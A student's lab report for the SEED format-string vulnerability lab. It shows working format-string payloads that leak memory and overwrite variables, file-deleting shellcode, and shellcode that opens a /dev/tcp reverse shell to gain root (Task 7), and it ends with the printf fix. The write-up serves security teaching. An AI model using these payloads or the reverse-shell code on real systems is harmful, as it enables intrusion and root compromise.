Format String Vulnerability Lab

Task 1

Here we simply compile the server and start it.
sudo sysctl -w kernel.randomize_va_space=0 (Disable address randomization)
gcc -DDUMMY_SIZE=100 -z execstack -o server server.c (Compile the server with a dummy size of 100)

Task 2

• Question 1: What are the memory addresses at the locations marked by 1, 2, and 3?
1) Format String: 0xbfffe680 (Start of buffer (bfffe7c0 – 80x4)
2) Return Address: 0xbfffe71c (The ebp value inside myprintf +4)
3) Buffer Start: 0xbfffe7c0 (Address of input array, printed plain by the program)
For 1 we need to check how many %.8x we need to be able to print out our value to find the start of the buffer, we then remove the specifiers and deduct it from the input array as such

```
BBBB%.8x%.8x%.8x%.8x%.8x%.8x%.8x%.8x%.8x%.8x%.8x%.8x%.8x%.8
x%.8x%.8x%.8x%.8x%.8x%.8x%.8x%.8x%.8x%.8x%.8x%.8x%.8x%.8x%.
8x%.8x%.8x%.8x%.8x%.8x%.8x%.8x%.8x%.8x%.8x%.8x%.8x%.8x%.8x%
.8x%.8x%.8x%.8x%.8x%.8x%.8x%.8x%.8x%.8x%.8x%.8x%.8x%.8x%.8x
%.8x%.8x%.8x%.8x%.8x%.8x%.8x%.8x%.8x%.8x%.8x%.8x%.8x%.8x%.8
x%.8x%.8x%.8x%.8x%.8x%.8x%.8x%.8x%.8x%.8x%.8x%.8x
```

```
BBBB0000000000000064b7fff9180804a014b7fe97a2b7fffad0bff
fe7c000000001bfffe7180000000000000000000000000000000000
0000000000000000000000000000000000000000000000000000000
0000000000000000000000000000000000000000000000000000000
0000000000000000000000000000000000000000000000000000000
0c0abd10000000003bfffe7c0bfffeda8080487e5bfffe7c0bfffe7
3400000010080487040000000000000010000000038223000200000
0000000000000000048e500020100007f0000000000000000000000
0000000000000000000000000000000000000000000000000000000
0000000000000000000000000000000000000000000000000000000
0000000000000000000000000000000000000000000000000000000
0000000000000000000000000042424242
```

And bfffe7c0 – 80x4 = bfffe680, giving us the answer to question 1.
• Question 2: What is the distance between the locations marked by 1 and 3?
Seeing as we know the address of 1 and 3 we can simply use the amount of specifiers required to reach the other address and multiply by 4 (size of byte)
79*4 (we need 79 %x modifiers between address 1 and 3) = 312 bytes.

Task 3

Crash the program!
By inputting `[03/31/21]seed@VM:~$ echo %s%s | nc -u 127.0.0.1 9090`
I was able to swiftly crash the program by segmentation fault.

```
Starting up the server...
The address of the input array: 0xbfffe7c0
The address of the secret: 0x08048870
The address of the 'target' variable: 0x0804a044
The value of the 'target' variable (before): 0x11223344
The ebp value inside myprintf() is: 0xbfffe718
./startserver.sh: line 3: 25376 Segmentation fault
  ./server
[04/08/21]seed@VM:~/Lab2$
```

Task 3 can be ran by first launching the server “startserver.sh” and then starting the “Task3Client.sh” script.

Marcus Roos Maro1904
maro1904@student.miun.se

I can also crash the program by using more than 1 %n at the start,

```
[04/08/21]seed@VM:~$ nc -u 127.0.0.1 9090
%n%n
Starting up the server...
The address of the input array: 0xbfffe7c0
The address of the secret: 0x08048870
The address of the 'target' variable: 0x0804a044
The value of the 'target' variable (before): 0x11223344
The ebp value inside myprintf() is: 0xbfffe718
./startserver.sh: line 3: 25376 Segmentation fault
 ./server
[04/08/21]seed@VM:~/Lab2$
```

Task 4

Printing our server data

A) Stack data, I tested a different amount of %x here just to advance in the memory, I used “B” which should print out as 42 in hexadecimal as an indicator, then I followed by %x to print out the addresses, this way I know where it is whenever I see 42424242 I know where it is, then I count the format specifiers I use, which in my case were 80, we know know this from task 2, because the distance is 324 bytes, and every %x take up 4 bytes, so by putting in 80 %x we advance 320 bytes, and on the next set of bytes we have our server data.

```
BBBB.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x
.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.
%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%
x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x
.%x.%x.%x.%x.%x.%x.%x.%x
```

```
The value of the 'target' variable (after): 0x11223344
The ebp value inside myprintf() is: 0xbfffe718
BBBB.0.64.b7fff918.804a014.b7fe97a2.b7fffad0.bfffedd0.1
.bfffed28.0.0.0.0.0.0.0.0.0.0.0.0.0.0.0.0.0.0.0.0.0.0.0
.0.0.9fadc000.3.bfffedd0.bffff3b8.80487e5.bfffedd0.bfff
ed44.10.8048704.6.10.3.82230002.0.0.0.e7d60002.100007f.
0.0.0.0.0.0.0.0.0.0.0.0.0.0.0.0.0.0.0.0.0.0.0.0.0.0.0.4
2424242
```

BBBB.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.
%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x
.%x.%x.%x.%x.%x.%x.%x.%x

B) Heap data

The value we want to fetch is stored in the “secret”, which the program prints to us in the end but it’s stored on the heap. We can find the address to the secret by starting the program

```
root@VM:/home/seed# ./server
The address of the input array: 0xbfffe7c0
The address of the secret: 0x08048870
The address of the 'target' variable: 0x0804a044
The value of the 'target' variable (before): 0x11223344
```

Which gives us the address 0x08048870, which written in little endian is \x70\x88\x04\x08. To print out the string stored in the secret address we know we need to advance 80 bytes to be able to print the value, but we want to print out a string, which means we need to change the last %x to a %s instead, which is what I do. But we also need to access the value stored *outside* the heap, and to achieve this we need to pass in the address of the secret to the string, from the previous step we change the As to the address but we need them written in binary and not plain text, for this we use the printf once more, as such:

echo $(printf
"\x70\x88\x04\x08").%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.
%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.
%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%s > badfile

This will save the content to a file called badfile, and once loaded in to our server by typing “***nc -u 127.0.0.1 9090 < badfile***“ in the terminal it will be printed out, but there’s really no need to write it to a file like this as we can simple replace the last bit to instantly send it to the server:

echo $(printf
"\x70\x88\x04\x08").%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.
%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.
%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%s | nc -u 127.0.0.1 9090

Writing this in the terminal while the server is running gives us the follow result:

```
root@VM:/home/seed# echo $(printf "\x70\x88\x04\x08").%
x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x
.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.
%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%
x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x
.%x.%x.%x.%x.%x.%s | nc -u 127.0.0.1 9090
The value of the 'target' variable (after): 0x11223344
The ebp value inside myprintf() is: 0xbfffe718
p0.0.64.b7fff918.804a014.b7fe97a2.b7fffad0.bfffede0.1.b
fffed38.0.0.0.0.0.0.0.0.0.0.0.0.0.0.0.0.0.0.0.0.0.0.0
.0.adb4bd00.3.bfffede0.bffff3c8.80487e5.bfffede0.bfffed
54.10.8048704.6.10.3.82230002.0.0.0.a5cf0002.100007f.0.
0.0.0.0.0.0.0.0.0.0.0.0.0.0.0.0.0.0.0.0.0.0.0.0.A s
ecret message
```

Which prints out the message stored in the secret.

Task 5

In this task we will change the server programs memory, modify the value of the target variable, it's original value is 0x11223344, and its address is 0x0804a044 in hex \x44\xa0\x04\x08

Task 5A – Change the value to a different value

Simply changing the secret address from the previous task to that off the target, and changing the last %s to a %n will change the value of the target value, such as:

```
root@VM:/home/seed# echo $(printf "\x44\xa0\x04\x08").%
x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x
.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.
%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%
x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x
.%x.%x.%x.%x.%x.%n | nc -u 127.0.0.1 9090
```

echo $(printf "\x44\xa0\x04\x08")%.8x%.8x%.8x

Task 5C - Change the value to 0xFF990000

For this part we need to change the value to FF990000, so far we've only been able to change 2 bytes at once, but for this task we need to change 4 bytes in total, first we need to change the higher number (FF99) and then change the lower number (0000). The upper value equals to 65433, but we need to take account the specifiers we use by removing that from the value, we do it by (78 * 8 + 12) = 64 797. While the lower value is the 2s complement of that, meaning 103.
When we insert those values into the target we can't use the same address as before because we want to add two different values, what we can do is go back a step and insert the bigger value at our first location, and the smaller one at the second location, so using our follow string we get the result we want:
echo $(printf
"\x46\xa0\x04\x08ssss\x44\xa0\x04\x08")%.8x%.8x%.8x%.8x%.8x%.8x%.8x%.8x%.8x%.8x%.8x%.8x%.8x%.8x%.8x%.8x%.8x
%.8x%.8x%.8x%.8x%.8x%.8x%.8x%.8x%.8x%.8x%.8x%.8x%.8x%.8x%.8x%.8x%.8x%.8x%.8x%.8x%.8x%.8x%.8x%.8x%.8x%.8x
%.8x%.8x%.8x%.8x%.8x%.8x%.8x%.8x%.8x%.8x%.8x%.8x%.8x%.8x%.8x%.8x%.8x%.8x%.8x%.8x%.8x%.8x%.8x%.8x%.8x%.8x
%.8x%.8x%.8x%.8x%.8x%.8x%.64797x%hn%.103x%hn | nc -u 127.0.0.1 9090

```
[03/31/21]seed@VM:~$ echo $(printf "\x46\xa0\x04\x08sss
s\x44\xa0\x04\x08")%.8x%.8x%.8x%.8x%.8x%.8x%.8x%.8x%.8x
%.8x%.8x%.8x%.8x%.8x%.8x%.8x%.8x%.8x%.8x%.8x%.8x%.8x%.8
x%.8x%.8x%.8x%.8x%.8x%.8x%.8x%.8x%.8x%.8x%.8x%.8x%.8x%.
8x%.8x%.8x%.8x%.8x%.8x%.8x%.8x%.8x%.8x%.8x%.8x%.8x%.8x%
.8x%.8x%.8x%.8x%.8x%.8x%.8x%.8x%.8x%.8x%.8x%.8x%.8x%.8x
%.8x%.8x%.8x%.8x%.8x%.8x%.8x%.8x%.8x%.8x%.8x%.8x%.8x%.8
x%.64797x%hn%.103x%hn | nc -u 127.0.0.1 9090
00000000000000000000000000000000000000000000000000000000
00000000000000000000000000000000000000000000000000000000
00000000000000000000000000000000000000000000000000000000
00000000000000000000000000000000000000000000000000000000
00000000000000000000000000000000000000000000000000000000
00000000000000000000000000000000000000000000000000000000
00000000000000000000000000000000000000000000000000000000
000000000000000000073737373
The value of the 'target' variable (after): 0xff990000
```

We need to add 4 bytes worth of characters between the different addresses as to not get a segmentation fault, this is because we just changed a value at one address and we want to advance to the next address before we change our next value, by advancing forward in the string we reach this value. The reason why we use 2^{nd} completent to set this value is because we're relying on integer overflow, the value is too large to just write out as we did previously (such as %.4288217088x) which would be the size we're looking for, thanks to using 2^{nd} complement we have a negative value we can use to cause an integer overflow, pushing us back to FF99 and adding those last trailing zeroes we need. This is stored in a 16 bit memory space therefore 65536 is the largest number we need to focus on, instead of using 2^{nd} complement we could simply use 2^{16} – 65536 (the decimal value of FF99) and get 103 as an answer.

Marcus Roos Maro1904
maro1904@student.miun.se

Task 6

In this task we are going to inject malicious code into the server program, the idea is to delete a file from the server. As we know from previous labs we'll be using shellcode to inject our malicious code.
Using exploit.py we can construct a string which will delete the "myfile" file from the /tmp folder, code can be found in the edited exploit6.py

```
[04/07/21]seed@VM:~/Lab2$ python3 exploit6.py
[04/07/21]seed@VM:~/Lab2$ nc -u 127.0.0.1 9090 < badfil
e
[04/07/21]seed@VM:/tmp$ ls
config-err-PUxGNd
myfile
orbit-seed
systemd-private-7a7da81169ce4927a8d8fa7b63f0502d-colord
.service-VdjlWj
systemd-private-7a7da81169ce4927a8d8fa7b63f0502d-rtkit-
daemon.service-JOCbt9
unity_support_test.1
[04/07/21]seed@VM:/tmp$
```

```
[04/07/21]seed@VM:~/Lab2$ python3 exploit6.py
[04/07/21]seed@VM:~/Lab2$ nc -u 127.0.0.1 9090 < badfil
e
[04/07/21]seed@VM:/tmp$ ls
config-err-PUxGNd
myfile
orbit-seed
systemd-private-7a7da81169ce4927a8d8fa7b63f0502d-colord
.service-VdjlWj
systemd-private-7a7da81169ce4927a8d8fa7b63f0502d-rtkit-
daemon.service-JOCbt9
unity_support_test.1
[04/07/21]seed@VM:/tmp$
[04/07/21]seed@VM:/tmp$
[04/07/21]seed@VM:/tmp$
```

Task 7

Managed to get a reverse shell, by editing the exploit.py (renamed exploit7.py for this task) with the provided code I managed to get root. For task 7 I didn't create a bash script as it requires 3 different terminals (one for server, one for client, and one for client listener, and there's relatively little code to be fair)

```
# Students need to use their own VM's IP address
"\x31\xd2"                      # xorl %edx,%edx
"\x52"                          # pushl %edx
"\x68""2>&1"                    # pushl (an integer)
"\x68""<&1 "                    # pushl (an integer)
"\x68""70 0"                    # pushl (an integer)
"\x68""t/70"                    # pushl (an integer)
"\x68""lhos"                    # pushl (an integer)
"\x68""loca"
"\x68""tcp/"
"\x68""dev/"
"\x68"" > /"
"\x68""h -i"
"\x68""/bas"
"\x68""/bin"            # pushl (an integer)
"\x89\xe2"                      # movl %esp,%edx
```

The trick here is to read it from the bottom and up, meaning we are pushing "/bin/bash -i> /dev/tcp/localhost/7070 0<&1 2>&1" onto the stack in this case.

```
[04/07/21]seed@VM:~$ python3 exploit7.py
[04/07/21]seed@VM:~$ nc -u 127.0.0.1 9090 < badfile
```

```
[04/07/21]seed@VM:~$ nc -l 7070 -v
Listening on [0.0.0.0] (family 0, port 7070)
Connection from [127.0.0.1] port 7070 [tcp/*] accepted
(family 2, sport 60480)
root@VM:/home/seed# whoami

root@VM:/home/seed# whoami
root
root@VM:/home/seed#
```

The code used for task 7 can be found in exploit7.py

Task 8

Fixing the problem, I managed to fix the problem by simply adding "%s" inside the printf(msg) function such as

```
    // This line has a format-string vulnerability
    printf("%s", msg);
    printf("The value of the 'target' variable (after): 0x%.8x\n", target);
}
```

```
[04/06/21]seed@VM:~$ gcc -DDUMMY_SIZE=100 -z execstack
-o server server.c
[04/06/21]seed@VM:~$ nc -u 127.0.0.1 9090
%s%s
%s%s%s%s
hello
%s%s%s%s%s%s%s%s%s hello
```

```
root@VM:/home/seed# ./server
The address of the input array: 0xbfffedd0
The address of the secret: 0x08048870
The address of the 'target' variable: 0x0804a044
The value of the 'target' variable (before): 0x11223344
The ebp value inside myprintf() is: 0xbfffed28
%s%s
The value of the 'target' variable (after): 0x11223344
The ebp value inside myprintf() is: 0xbfffed28
%s%s%s%s
The value of the 'target' variable (after): 0x11223344
The ebp value inside myprintf() is: 0xbfffed28
hello
The value of the 'target' variable (after): 0x11223344
The ebp value inside myprintf() is: 0xbfffed28
%s%s%s%s%s%s%s%s%s hello
The value of the 'target' variable (after): 0x11223344
```

As we can see the program no longer crash when entering %s, and none of my previous attacks work, we receive the error message at compilation time because we never specified how the input should be interpreted from the user, by adding %s we define that a string will be provided by the user at input, without this specifier the program doesn't know what we put in and we can manipulate that to our advantage.

Marcus Roos Maro1904
maro1904@student.miun.se

I want to start off by saying that some of those address values differ in the screenshots, this is because I didn't finish the entire lab in the same day, and whenever I rebooted my VM it addresses changed. This doesn't do anything for tasks 2-5, but for task 6 and 7 which also depends on task 1 it changes up a few things. The addresses need to be changed inside the exploit6.py and exploit7.py to accommodate for the new addresses

Marcus Roos Maro1904
maro1904@student.miun.se